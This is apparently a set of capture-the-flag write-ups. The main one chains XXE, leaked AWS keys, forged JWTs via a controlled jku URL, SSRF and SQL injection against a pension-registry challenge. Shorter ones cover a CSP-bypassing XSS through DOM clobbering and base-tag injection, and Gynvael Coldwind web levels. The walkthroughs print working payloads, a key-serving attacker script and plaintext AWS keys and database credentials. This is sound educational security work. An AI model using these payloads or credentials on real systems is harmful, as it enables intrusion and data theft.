drwxr-xr-x 3 root root 4096 Nov 22 23:12 views
./files:
total 12
drwxr-xr-x 2 root root 4096 Nov 22 23:12 .
drwxr-xr-x 1 root root 4096 Nov 28 19:45 ..
-rw-r--r-- 1 root root 580 Nov 22 23:12 sample-data.xml
...
frombottleimportrun,request,post,Bottle,template,static_filefromlxmlimportetreeasetreeimportpathlibimportrequestsimportos# Will deploy to ECS Cluster hosted on EC2
# Todo: Database Integration
# Database and other relevant credentials will be loaded via the environment file
# Tentative location /app/.env
# For now, just dump all evnironment variables to .env file
env_output=""fork,vinos.environ.items():env_output+=k+"="+v+"\n"output_env_file=open(".env","w")output_env_file.write(env_output)output_env_file.close()current_directory=str(pathlib.Path().absolute())parser=etree.XMLParser(no_network=False)app=Bottle()@app.route('/download/<filename:path>')defdownload(filename):returnstatic_file(filename,root=current_directory+'/static/files',download=filename)@app.route('/import',method='POST')defimport_submission():postdata=request.body.read()file_name=request.forms.get("xml-data-file")data=request.files.get("xml-data-file")raw=data.file.read()# TODO: validation
root=etree.fromstring(raw,parser)# TODO: save to database
total=0forcontributioninroot[0][2]:total+=int(contribution.text)employee={'first_name':root[0][0].text,'last_name':root[0][1].text,'total_contribution':total}returntemplate('submission',employee)# TODO: Webhook for successful import
# Webhook will be used by third party applications.
# Endpoint is not fixed yet, still in staging.
# The other project's development is experiencing delay.
# National Pension Registry is another internal network.
# The machine running this application will have to get the IP whitelisted
# Do check with the NPR dev team on the ip whitelisting
@app.route('/authenticate',method='POST')defregister():endpoint=request.forms.get('endpoint')# Endpoint Validation
username=request.forms.get('username')password=request.forms.get('password')data={'username':username,'password':password}res=requests.post(endpoint,data=data)returnres.text@app.route('/report',method='POST')defsubmit():endpoint=request.forms.get('endpoint')# Endpoint Validation
token=request.forms.get('token')usage=request.forms.get('usage')contributor_id=request.forms.get('contributor_id')constructed_endpoint=endpoint+"?usage="+usage+"&contributor_id="+contributor_idres=requests.get(constructed_endpoint,headers={'Authorization':'Bearer '+token})returnres.text@app.route('/',method='GET')defindex():returntemplate('index')run(app,host='0.0.0.0',port=80,debug=True)
Clearly, the code is very badly written – it’s an amalgamation of numerous bad coding practices found too often :(
Several observations can be made here:
The application dumps all environment variables containing “database and other relevant credentials” to /app/.env
The XML parser (lxml) used is explicitly allowing network access for related files
The other subsystem, National Pension Registry, is another internal network
There is some IP whitelisting checks performed by the National Pension Registry application
At this point, we can attempt to guess the IP address or hostname of the National Pension Registry subsystem and use the SSRF vulnerabilities to access the other application. Unfortunately, there is a coding flaw in the application, which causes the application to crash too easily and making it difficult to execute this strategy successfully.
Exploiting XXE to Disclose /app/.env & Obtain AWS IAM Keys
Looking at the possible vulnerabilities to be exploited, we see that we are able to use XXE to read /app/.env to obtain environment variables which may contain “database and other relevant credentials”.
For convenience, we can use the sample document at /app/files/sample-data.xml:
Then, we modify it to include a XXE payload in firstname field as such:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///app/.env">]>
<employees><employee><firstname>&xxe;</firstname><lastname>Doe</lastname><contributions><january>215</january><february>215</february><march>215</march><april>215</april><may>215</may><june>215</june><july>215</july><august>215</august><september>215</september><october>215</october><november>215</november></contributions></employee></employees>
After that, we upload it using the Employee Pension Contribution Upload Form, and the file contents of /app/.env will be returned after Full Name: in the response:
And we discover the long-term credentials for nprs-cross-handler!
We have now completed half the challenge , so let’s pause for a minute and take a quick look at our progress into the challenge thus far before continuing on:
Enumerating NRPS Cross Handler
Let’s reconfigure WeirdAAL and AWS CLI to use the new credentials we just obtained for nprs-cross-handler and re-run the recon module of WeirdAAL and list all permitted actions.
$ aws configure --profile nprs-cross-handler
AWS Access Key ID [None]: AKIAU65ZHERXDDIVSXPO
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-1
Default output format [None]:
$ cat .env
[default]
aws_access_key_id = AKIAU65ZHERXDDIVSXPO
aws_secret_access_key = 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
$ python3 weirdAAL.py -m recon_all -t nprs-cross-handler
Account Id: 341301470318
AKIAU65ZHERXDDIVSXPO : Is NOT a root key
...
$ python3 weirdAAL.py -m list_services_by_key -t nprs-cross-handler
[+] Services enumerated for AKIAU65ZHERXDDIVSXPO [+]
elasticbeanstalk.DescribeApplicationVersions
elasticbeanstalk.DescribeApplications
elasticbeanstalk.DescribeEnvironments
elasticbeanstalk.DescribeEvents
opsworks.DescribeStacks
route53.ListGeoLocations
sts.GetCallerIdentity
Using AWS CLI to invoke the respective accessible actions listed above, nothing interesting was found.
Since the automated enumeration did not work well, it is time to fall back to manual enumeration.
I got stuck here during the competition even though I already knew how to get the flag at this point (I just needed the IP address or hostname of the National Pension Registry sub-system) and did everything below, but obtained different results from what I should be seeing.
Perhaps, I enumerated using the wrong IAM keys. I don’t actually know either.
In hindsight, I guess better note-taking procedures and perhaps removing unused credentials from ~/.aws/credentials could have helped to avoid such an outcome.
Moving on, we enumerate the policies attached to the user nprs-cross-handler to determine what privileges the user has.
There are two primary types of identity-based policies, namely Managed Policies and Inline Policies. Basically, Managed Policies allows policies to be attached to multiple IAM identities (users, groups or roles) or AWS resources whereas Inline Policies are can only be attached to one identity only.
To enumerate Inline Policies, we can use the aws iam list-user-policies command:
$ aws iam list-user-policies --user-name nprs-cross-handler --profile nprs-cross-handler
An error occurred (AccessDenied) when calling the ListUserPolicies operation: User: arn:aws:iam::341301470318:user/nprs-cross-handler is not authorized to perform: iam:ListUserPolicies on resource: user nprs-cross-handler
Nope. Let’s enumerate Managed Policies next using the aws iam list-attached-user-policies command:
Seems like there is a managed policy nprs-cross-handler-policy attached to the nprs-cross-handler user.
Let’s retrieve more information about the managed policy discovered.
Note: It’s also a good idea to enumerate all versions of the policies, but since v1 of nprs-cross-handler-policy is irrelevant for this challenge, I will be omitting it for brevity.
It looks like the attached user policy allows the nprs-cross-handler user to assume the role cross-account-ec2-access!
Let’s request for temporary credentials for the assumed role user using aws sts assume-role command.
Now that we have temporary credentials for the cross-account-ec2-access role user, let’s reconfigure WeirdAAL and AWS CLI yet again to use the temporary credentials for the assumed role and re-run the recon module of WeirdAAL and list all permitted actions.
Notice that the DNS Name for the ALB starts with internal-, which indicates that the npr-cluster-alb is an internally-accessible ALB.
We can also verify it by querying the A records for the DNS name:
$ dig +short internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com -t A @8.8.8.8
10.1.1.173
10.1.0.170
Which confirms our suspicion. Since the application is only accessible via the internal network, we probably have to leverage the SSRF vulnerability in the Employee Pension Contribution Upload Form application to reach the National Pension Registry application.
We are finally close to getting a flag!
It is also likely that we need to exploit additional vulnerabilities in the National Pension Registry application to obtain the flag.
Here’s a quick recap of our progress before we continue on:
Analysing Docker Image for National Pension Registry
Let’s analyse the Docker image for the National Pension Registry application just like how we did for the Employee Pension Contribution Upload Form application.
$ docker run -it 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com/national-pension-registry /bin/bash
root@59e384a24601:/usr/src/app# ls-al
total 72
drwxr-xr-x 1 root root 4096 Nov 29 03:43 .
drwxr-xr-x 1 root root 4096 Nov 19 01:41 ..
-rw-r--r-- 1 root root 5587 Nov 28 19:41 index.js
drwxr-xr-x 120 root root 4096 Nov 19 01:41 node_modules
-rw-r--r-- 1 root root 41347 Nov 16 17:56 package-lock.json
-rw-r--r-- 1 root root 490 Nov 16 17:56 package.json
drwxr-xr-x 2 root root 4096 Nov 29 03:43 prod-keys
root@59e384a24601:/usr/src/app# ls-al prod-keys
total 16
drwxr-xr-x 2 root root 4096 Nov 29 03:43 .
drwxr-xr-x 1 root root 4096 Nov 29 03:43 ..
-rw-r--r-- 1 root root 1674 Nov 22 23:12 prod-private-key.pem
-rw-r--r-- 1 root root 558 Nov 22 23:12 prod-public-keys.json
The source code for /usr/src/app/index.js is shown below:
const{Sequelize}=require('sequelize');constjwt=require('jsonwebtoken');constjwksClient=require('jwks-rsa');constfs=require('fs');constprivateKey=fs.readFileSync('prod-keys/prod-private-key.pem');constjku_link="http://127.0.0.1:8333/prod-public-keys.json";constsequelize=newSequelize('postgres://npr-rds-read-only:e8CSsKdk1s2pRQ3b@national-pension-registry.cdfsuhqgjz6k.ap-southeast-1.rds.amazonaws.com:5432/national_pension_records');constexpress=require('express');constbodyParser=require('body-parser');constipRangeCheck=require("ip-range-check");consturl=require('url');constapp=express();constwhitelistedIPRanges=["127.0.0.1/32","15.193.2.0/24","15.177.82.0/24","122.248.192.0/18","54.169.0.0/16","54.255.0.0/16","52.95.255.32/28","175.41.128.0/18","13.250.0.0/15","64.252.102.0/24","99.77.143.0/24","52.76.128.0/17","64.252.103.0/24","52.74.0.0/16","54.179.0.0/16","52.220.0.0/15","18.142.0.0/15","46.137.192.0/19","46.137.224.0/19","46.51.216.0/21","52.94.248.32/28","54.254.0.0/16","54.151.128.0/17","18.136.0.0/16","13.212.0.0/15","3.5.146.0/23","64.252.104.0/24","18.140.0.0/15","52.95.242.0/24","99.77.161.0/24","3.5.148.0/22","18.138.0.0/15","52.119.205.0/24","52.76.0.0/17","54.251.0.0/16","64.252.105.0/24","3.0.0.0/15","52.77.0.0/16","13.228.0.0/15"];app.use(bodyParser.urlencoded({extended:true}));constauthenticateJWT=async(req,res,next)=>{constauthHeader=req.headers.authorization;if(authHeader){constauthenticationType=authHeader.split('')[0];consttoken=authHeader.split('')[1];if(authenticationType==="Bearer"){letusage=req.query.usage;letcheck=awaitvalidateUserClaim(usage,token);if(check){next();}else{res.sendStatus(401);}}else{res.sendStatus(401);}}else{res.sendStatus(401);}};functionvalidateUserInputs(payload){// check for special charactersvarformat=/[`!@#$%^&*()+\-=\[\]{}':"\\|,<>\/?~]/;returnformat.test(payload);}asyncfunctiongetCustomReport(contributorId){constresults=awaitsequelize.query('SELECT * from records."contributions" where contributor_id = '+contributorId,{type:sequelize.QueryTypes.SELECT});console.log(results);returnresults[0];}asyncfunctiongetSummaryReport(){constresults=awaitsequelize.query('select sum(contribution_total) from records.contributions',{type:sequelize.QueryTypes.SELECT});returnresults[0];}asyncfunctionvalidateUserClaim(usage,rawToken){letpayload=awaitverifyToken(rawToken);if(payload!=null){// Simple RBAC// Only allow Admin to pull the resultsif(usage=="custom-report"){if(payload.role=="admin"){returntrue;}else{returnfalse;}}if(usage=="user-report"){if(payload.role=="user"){returntrue;}else{returnfalse;}}if(usage=="summary-report"){if(payload.role=="anonymous"){returntrue;}else{returnfalse;}}}returnfalse;}asyncfunctionverifyToken(rawToken){vardecodedToken=jwt.decode(rawToken,{complete:true});constprovided_jku=url.parse(decodedToken.header.jku);if(ipRangeCheck(provided_jku.hostname,whitelistedIPRanges)){constclient=jwksClient({jwksUri:decodedToken.header.jku,timeout:30000,// Defaults to 30s});constkid=decodedToken.header.kid;letpublicKey=awaitclient.getSigningKeyAsync(kid).then(key=>{returnkey.getPublicKey();},err=>{returnnull;});try{letpayload=jwt.verify(rawToken,publicKey);returnpayload;}catch(err){returnnull;}}else{returnnull;}}functiongetAuthenticationToken(username,password){// Wait for dev team to update the user account database// user account database should be live in Jan 2020// Issue only guest user tokens for nowletcustom_headers={"jku":jku_link};vartoken=jwt.sign({user:'guest',role:'anonymous'},privateKey,{algorithm:'RS256',header:custom_headers});returntoken;}app.post('/authenticate',(req,res)=>{// ignore username and password for now// issue only guest jwt token for developmentres.json({"token":getAuthenticationToken(req.body.username,req.body.password)})});app.get('/report',authenticateJWT,async(req,res,next)=>{letmessage={"message":"invalid parameters"}try{fif(req.query.usage=="custom-report"){if(!validateUserInputs(req.query.contributor_id)){res.json({"results":awaitgetCustomReport(req.query.contributor_id)});}else{res.json(message);}}elseif(req.query.usage=="summary-report"){res.json({"results":awaitgetSummaryReport()});}else{res.json(message);}next();}catch(e){next(e);}});app.listen(80,()=>{console.log('National Pension Registry API Server running on port 80!');});
Like the previous application, there are quite a few obvious issues with the code.
Several observations can be made here:
There is SQL injection (SQLi) in getCustomReport() but most special characters are not permitted in the user input
It is necessary to present a valid JSON Web Token (JWT) containing the admin role in the JWT payload is permitted to execute custom report
There is /authenticate POST endpoint which allows obtaining JSON Web Token (JWT) for anonymous role
There is /report GET endpoint authenticating the JWT token which allows executing of the custom report function
The JWT token verification fetches the jku (JWK Set URL) header parameter of the token and verifies the JWT token using the public key obtained from the jku URL.
The jku URL specified is validated against a predefined allow-list, which appears to be mostly private IPv4 address ranges and AWS IP address ranges.
There is also hardcoded credentials for the PostgreSQL Database hosted on Amazon Relational Database Service (Amazon RDS) accessible via internal network
Chaining The Exploits
Hosting Our Webserver on AWS
Since we can control the jku in the JWT header, and the accepted IPv4 ranges include AWS IP address ranges, we can simply host a webserver on an Amazon Elastic Compute Cloud (Amazon EC2) instance serving the required prod-public-keys.json file to pass the validation checks against the predefined allow-list of IPv4 address ranges.
For example, the IPv4 address allocated to the AWS EC2 instance is 3.1.33.7, which resides in the 3.0.0.0/15 subnet permitted.
Signing Our Own JWT Token
Next, we need to sign our own valid JWT token with role set to admin in the JWT payload before we are able to execute a custom report.
We can modify the provided National Pension Registrynode.js application for the purpose of signing our own JWT tokens and also serving the JWT public key:
constjwt=require('jsonwebtoken');constfs=require('fs');constprivateKey=fs.readFileSync('prod-keys/prod-private-key.pem');constpublicKey=fs.readFileSync('prod-keys/prod-public-keys.json');constPORT=8080;constjku_link=`http://3.1.33.7:${PORT}/prod-public-keys.json`;constexpress=require('express');constapp=express();// Sign and return our own JWT token with role set to admin and jku_link pointing to this serverapp.get('/authenticate',(req,res)=>{letcustom_headers={"jku":jku_link};vartoken=jwt.sign({user:'admin',role:'admin'},privateKey,{algorithm:'RS256',header:custom_headers});res.end(token);});// Serve the JWT public key on this endpointapp.get('/prod-public-keys.json',(req,res)=>{res.json(JSON.parse(publicKey));});app.listen(PORT,()=>{console.log(`National Pension Registry API Server running on port ${PORT}!`);});
Afterwards, we install the dependencies for the application and start the server:
$ npm install jsonwebtoken express
$ node server.js
National Pension Registry API Server running on port 8080!
SQL Injection
There is one last hurdle to get past – we also need to perform SQL injection successfully so that we can get the flag.
Let’s start by analysing the regular expression used to validate the user input:
functionvalidateUserInputs(payload){// check for special charactersvarformat=/[`!@#$%^&*()+\-=\[\]{}':"\\|,<>\/?~]/;returnformat.test(payload);}
Seems like we are able to use alphanumeric, whitespace, _, ; and . characters.
At this point, we can kind of guess that the flag must be somewhere in the database, and the flag is likely to be one of the records in the same table queried.
Let’s examine the SQL query too:
asyncfunctiongetCustomReport(contributorId){constresults=awaitsequelize.query('SELECT * from records."contributions" where contributor_id = '+contributorId,{type:sequelize.QueryTypes.SELECT});console.log(results);returnresults[0];}
We can see that the injection point is not in a quoted string. Referencing the permitted characters, we can negate the where condition by doing:
Since null is null is true, this negates the first WHERE condition of contributor_id = 1. Besides that, notice that the function returns the first record returned by the query.
Since there is no ORDER BY keyword used in the query, the results are not sorted before being returned. This allows us to fetch the first record in records.contributions table. If the flag is not the first record of the database, we can then further use LIMIT and OFFSET keywords to select a specific record from the table precisely as such.
For example, to select the first record from the table:
Recall that the Employee Pension Contribution Upload Form application is accessible at http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com/ and the National Pension Registry is accessible at http://internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com/ in the internal network.
Chaining all the exploits together, we use the SSRF on the Employee Pension Contribution Upload Form application to perform SQL injection on the National Pension Registry backend application by running the following curl command on our AWS EC2 instance:
$ curl -X POST 'http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com/report'\--data-urlencode'endpoint=http://internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com/report'\--data-urlencode'usage=custom-report'\--data-urlencode'contributor_id=1 or null is null limit 1 offset 0'\--data-urlencode"token=$(curl -s http://localhost:8080/authenticate)"{"results":{"contributor_id":7531,"contributor_name":"govtech-csg{C0nt41n3r$_w1lL-ch4ng3_tH3_FuTuR3}","contribution_total":9999}}
Finally, we got the flag govtech-csg{C0nt41n3r$_w1lL-ch4ng3_tH3_FuTuR3}!
Complete Attack Path
Wow! You’re still here reading this? Thanks for sitting through this entire lengthly walkthrough!
Here’s an overview of the complete attack path for this challenge in case you are interested:
By now, I think it is pretty evident that performing cloud penetration testing is very arduous and can become messy to the point where it is gets confusing for the tester at some point.
I hope you enjoyed the write-up of this challenge and learnt something new and can better identify and relate to the common cloud and web security issues often found.
Recently, BugPoC announced a XSS challenge sponsored by Amazon on Twitter.
It was really fun solving this challenge! :D
The rules are simple:
Must alert(origin) showing https://wacky.buggywebsite.com
Must bypass Content-Security-Policy (CSP)
Must work in latest version of Google Chrome
Must provide proof-of-concept exploit using BugPoC (duh!)
Although the XSS challenge started a week ago, I did not have time to work on the challenge. I attempted the challenge only 9 hours before it officially ended and came up with a good idea on how to craft the solution in about 15 minutes while reading the source code on phone
This challenge is fairly simple to solve, but it requires careful observation and a good understanding of the various techniques often used when performing XSS.
Introduction
Visiting the challenge site at https://wacky.buggywebsite.com/, we can see a wacky text generator. I started off by taking a quick look at the JavaScript code loaded by the webpage:
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varisChrome=/Chrome/.test(navigator.userAgent)&&/Google Inc/.test(navigator.vendor);if(!isChrome){document.body.innerHTML=`
<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
`;}document.getElementById("txt").onkeyup=function(){this.value=this.value.replace(/[&*<>%]/g,'');};document.getElementById('btn').onclick=function(){val=document.getElementById('txt').value;document.getElementById('theIframe').src='/frame.html?param='+val;};
We can see that &*<>% characters are being removed the user input in the <textarea>. On clicking on the Make Whacky! button, the page loads an iframe: /frame.html?param=, which looks interesting.
HTML Injection/Reflected XSS
There is a HTML Injection/Reflected XSS at wacky.buggywebsite.com/frame.html in the <title> tag via param GET parameter.
When visiting https://wacky.buggywebsite.com/frame.html?param=REFLECTED VALUE: </title><a></a><title>, the following HTML is returned in the response body:
The user input supplied via the param GET parameter is being reflected twice in the response – the first is printed as-is (without any sanitization or encoding), and the second being HTML-entities encoded.
This indicates that it is possible to achieve arbitrary HTML injection (i.e. arbitrary HTML elements can be injected onto the webpage) via the param GET parameter using the first reflected param value.
Note: You need to inject </title> to end the title element. Browsers ignore any unescaped HTML elements within <title> and treats any value in <title>...</title> as text only, and will not render any HTML elements found within the title element.
However, Content-Security-Policy (CSP) header in the HTTP response is set to:
Thescript-src CSP directive disallows inline scripts that do not have the nonce value. In other words, injecting reflected XSS payloads such as injecting a <script> tag directly to achieve JavaScript execution will not work as the CSP disallows executing inline scripts without the nonce value, so we need to exploit vulnerabilities in the existing JavaScript code loaded by the webpage in order to execute arbitrary JavaScript code.
Source Code Analysis
Let’s examine the JavaScript code loaded on /frame.html. The relevant code snippet is shown below:
window.fileIntegrity=window.fileIntegrity||{'rfc':' https://w3c.github.io/webappsec-subresource-integrity/','algorithm':'sha256','value':'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=','creationtime':1602687229}// verify we are in an iframeif(window.name=='iframe'){// securely load the frame analytics codeif(fileIntegrity.value){// create a sandboxed iframeanalyticsFrame=document.createElement('iframe');analyticsFrame.setAttribute('sandbox','allow-scripts allow-same-origin');analyticsFrame.setAttribute('class','invisible');document.body.appendChild(analyticsFrame);// securely add the analytics code into iframescript=document.createElement('script');script.setAttribute('src','files/analytics/js/frame-analytics.js');script.setAttribute('integrity','sha256-'+fileIntegrity.value);script.setAttribute('crossorigin','anonymous');analyticsFrame.contentDocument.body.appendChild(script);}}else{document.body.innerHTML=`
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`}
DOM Clobbering
The line window.fileIntegrity = window.fileIntegrity || { ... } is vulnerable to DOM clobbering.
It can be observed that fileIntegrity.value is subsequently being used as the subresource integrity (SRI) hash value. By injecting an element <input id=fileIntegrity value=hash_here> onto the webpage, it is possible to clobber the fileIntegrity reference with the DOM input node, making it reference the hash value specified in the <input> tag.
Weak Inline Frame Sandbox Restrictions
It can be seen that an iframe is first being created and inserted into the DOM. However, the sandbox policy is configured to allow-scripts allow-same-origin. The allow-scripts option allows JavaScript execution, and the allow-same-origin option allows the iframe context to be treated as from being the same origin as the parent frame, therefore bypassing same-origin policy (SOP) and keeping the origin wacky.buggywebsite.com.
CSP Bypass
The code below the iframe insertion into the DOM attempts to creates a <script> element which loads a JavaScript file using the relative path files/analytics/js/frame-analytics.js. Referencing the CSP header, it can be seen that the base-uri directive is missing. This means that we can inject a <base> element with href attribute set to the attacker’s domain onto the webpage, and when the script attempts to load the relative path files/analytics/js/frame-analytics.js, the file will be loaded from the attacker-controlled domain, therefore achieving arbitrary JavaScript execution!
X-Frame-Options (XFO) Same-origin Bypass
The X-Frame-Options header in the HTTP response is set to sameorigin. This means that we cannot use an external domain to frame wacky.buggywebsite.com/frame.html to satisfy the if (window.name == 'iframe') check.
There are two ways to resolve this issue:
Lure the victim user to an attacker-controlled domain, set window.name and redirecting to the vulnerable page with the XSS payload.
Use HTML injection vulnerability to inject an iframe to embed itself with XSS payload (i.e. frame-ception)
Option (1) is not ideal in most cases since it imposes an additional requirement for a successful XSS attack on a victim user – having to lure the user to an untrusted domain.
As such, I went ahead with option (2). We can use the HTML injection vulnerability to inject an iframe element and set name attribute to iframe on the webpage to embed itself to satisfy the check within the iframe.
However, there is a caveat to using this approach – if the aforesaid check is not satisfied on the parent frame, then the document.body.innerHTML = ... in the else statement will be executed, thereby replacing the DOM. This may cancel the loading of the iframe and hence ‘preventing’ the XSS attack from succeeding on some systems, making it an unreliable XSS attack.
To address this caveat, we can inject the start of a HTML comment <!-- without closing it with --> in the parent frame after the injected HTML elements to cause the browser to treat the rest of the webpage response as a HTML comment, hence ignoring all inline JavaScript code loaded in the remaining of the webpage.
Simulating the Attack
Before we can craft the whole exploit chain, we need to have a attacker domain hosting the XSS payload served in a JavaScript file.
Then, use Flexible Redirector to generate a shorter and nicer URL for the Mock Endpoint URL to be used in our exploit.
In the response header serving the XSS payload, we also need to add Access-Control-Allow-Origin: * to relax Cross-Origin Resource Sharing (CORS) since the JavaScript resource file is loaded via a cross-origin request.
Note: One thing I did not mention earlier was that because the iframe sandbox policy did not have allow-modals attribute, we cannot call alert(origin) directly in the iframe. We can simply call top.alert(origin) or parent.alert(origin) to trigger alert on the parent frame to complete the challenge.
Chaining Everything Together
Now, it’s finally time to chain everything together and exploit this XSS!
Here are my solutions to Gynvael Coldwind (@gynvael)’s web security challenges which I thoroughly enjoyed solving!
These are specially-crafted whitebox challenges designed to test and impart certain skills.
A total of 7 independent challenges were released.
Level 0 is a Flask application, whereas Levels 1 through 6 are based on Express.js.
#!/usr/bin/python3
fromflaskimportFlask,request,Response,render_template_stringfromurllib.parseimporturlparseimportsocketimportosapp=Flask(__name__)FLAG=os.environ.get('FLAG',"???")withopen("task.py")asf:SOURCE=f.read()@app.route('/secret')defsecret():ifrequest.remote_addr!="127.0.0.1":return"Access denied!"ifrequest.headers.get("X-Secret","")!="YEAH":return"Nope."returnf"GOOD WORK! Flag is {FLAG}"@app.route('/')defindex():returnrender_template_string("""
<html>
<body>
<h1>URL proxy with language preference!</h1>
<form action="/fetch" method="POST">
<p>URL: <input name="url" value="http://gynvael.coldwind.pl/"></p>
<p>Language code: <input name="lang" value="en-US"></p>
<p><input type="submit"></p>
</form>
<pre>
Task source:
</pre>
</body>
</html>
""",src=SOURCE)@app.route('/fetch',methods=["POST"])deffetch():url=request.form.get("url","")lang=request.form.get("lang","en-US")ifnoturl:return"URL must be provided"data=fetch_url(url,lang)ifdataisNone:return"Failed."returnResponse(data,mimetype="text/plain;charset=utf-8")deffetch_url(url,lang):o=urlparse(url)req='\r\n'.join([f"GET {o.path} HTTP/1.1",f"Host: {o.netloc}",f"Connection: close",f"Accept-Language: {lang}","",""])res=o.netloc.split(':')iflen(res)==1:host=res[0]port=80else:host=res[0]port=int(res[1])data=b""withsocket.socket(socket.AF_INET,socket.SOCK_STREAM)ass:s.connect((host,port))s.sendall(req.encode('utf-8'))whileTrue:data_part=s.recv(1024)ifnotdata_part:breakdata+=data_partreturndataif__name__=="__main__":app.run(debug=False,host="0.0.0.0")
Analysis
Looking at the source code provided, we see that there is a /secret route that will give the flag if request.remote_addr == "127.0.0.1" and if there is a HTTP header X-Secret: YEAH.
If there are reverse proxies that relay HTTP requests to the Flask application (e.g. Client <-> Reverse Proxy <-> Flask), then request.remote_addr may not be set correctly to the remote client’s IP address. So, let’s do a quick check to test this out:
Clearly, that didn’t work – the request.remote_addr is set correctly on the server end before it reaches the Flask app.
Let’s examine the other functionalities of the application. There is a suspicious /fetch endpoint provided, which invokes the fetch_url(url, lang) function:
Here, we can see that the URL is being parsed, and the hierarchical path (o.path) and network location part (o.netloc) are being extracted used alongside the lang parameter to create a raw HTTP request to the host and port specified in the network location part.
Clearly, there is a server-side request forgery (SSRF) vulnerability, since we can establish a raw socket connection to any host and port, and we have some control over the data to be sent!
Let’s check that we are able to reach the /secret endpoint with this SSRF vulnerability and pass the request.remote_addr == "127.0.0.1" check:
Great! Since we are no longer getting the Access denied! error message, we have successfully passed the check.
The last piece of the puzzle is to figure out how to set the X-Secret: YEAH HTTP header. Remember the lang parameter? Turns out, it is also not sanitized as well, so we can simply inject \r\n to terminate the Accept-Language header and inject arbitrary HTTP headers (or even requests)!
Solution
$ curl 'http://challenges.gynvael.stream:5000/fetch'-d'url=http://127.0.0.1:5000/secret'-d'lang=%0d%0aX-Secret: YEAH'
HTTP/1.0 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 42
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Fri, 3 May 2020 09:01:17 GMT
GOOD WORK! Flag is CTF{ThesePeskyNewLines}
constexpress=require('express')constfs=require('fs')constPORT=5001constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync('app.js')constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 1\n\n")if(!('secret'inreq.query)){res.end(SOURCE)return}if(req.query.secret.length>5){res.end("I don't allow it.")return}if(req.query.secret!="GIVEmeTHEflagNOW"){res.end("Wrong secret.")return}res.end(FLAG)})app.listen(PORT,()=>{console.log(`Example app listening at port ${PORT}`)})
Analysis
In Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.
If an array is supplied, Array.toString() will return a string representation of the array values separated by commas.
Furthermore, it also has a length property defining the size of the array:
constexpress=require('express')constfs=require('fs')constPORT=5002constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync('app.js')constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 2\n\n")if(!('X'inreq.query)){res.end(SOURCE)return}if(req.query.X.length>800){consts=JSON.stringify(req.query.X)if(s.length>100){res.end("Go away.")return}try{constk='<'+req.query.X+'>'res.end("Close, but no cigar.")}catch{res.end(FLAG)}}else{res.end("No way.")return}})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Sometimes, it’s easier to work backwards. Let’s look at where the printing of the flag is at:
try{constk='<'+req.query.X+'>'res.end("Close, but no cigar.")}catch{res.end(FLAG)}
Here, we can see that the flag is printed only when req.query.X throws an exception.
From above, we can see that type conversion may be performed on req.query.X to convert it to a string for concatenation.
This means that the toString() method of req.query.X may be invoked.
Recall that in Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.
In JavaScript, it is possible to override the default toString() inherited from the object’s prototype for arrays and objects:
Note: This is simply overriding properties (including methods) inherited from the object’s prototype. Do not confuse the above with prototype pollution!
But, if toString is not a function, then we get a TypeError:
>obj.toString="not a function">""+objUncaughtTypeError:Cannotconvertobjecttoprimitivevalue>arr.toString="not a function too">""+arrUncaughtTypeError:Cannotconvertobjecttoprimitivevalue
So, we can define our custom toString property using X[toString]= (which isn’t a function) to trigger the exception and print the flag.
In fact, this issue is also raised in the Express’ documentation, and it is the developers’ responsibility to validate before trusting user-controlled input:
“As req.query’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.query.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.“
We can also use the same method to bypass the preceding req.query.X.length > 800 check by setting X[length]=1337 too.
// IMPORTANT NOTE:// The secret flag you need to find is in the path name of this JavaScript file.// So yes, to solve the task, you just need to find out what's the path name of// this node.js/express script on the filesystem and that's it.constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5003constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 3\n\n")res.end(SOURCE)})app.get('/truecolors/:color',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')constcolor=('color'inreq.params)?req.params.color:'???'if(color==='red'||color==='green'||color==='blue'){res.end('Yes! A true color!')}else{res.end('Hmm? No.')}})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Since the goal is to leak the filepath of the JavaScript file, focus is placed on finding where exceptions are being returned in the response.
After doing a quick search on GitHub for throw statements, we see that /lib/router/layer.js throws an exception if the parameter value cannot be decoded successfully using decodeURIComponent().
Solution
Supply an invalid path parameter (e.g. %) to cause the stack trace to be shown, thereby leaking the filepath of the script and hence obtaining the flag:
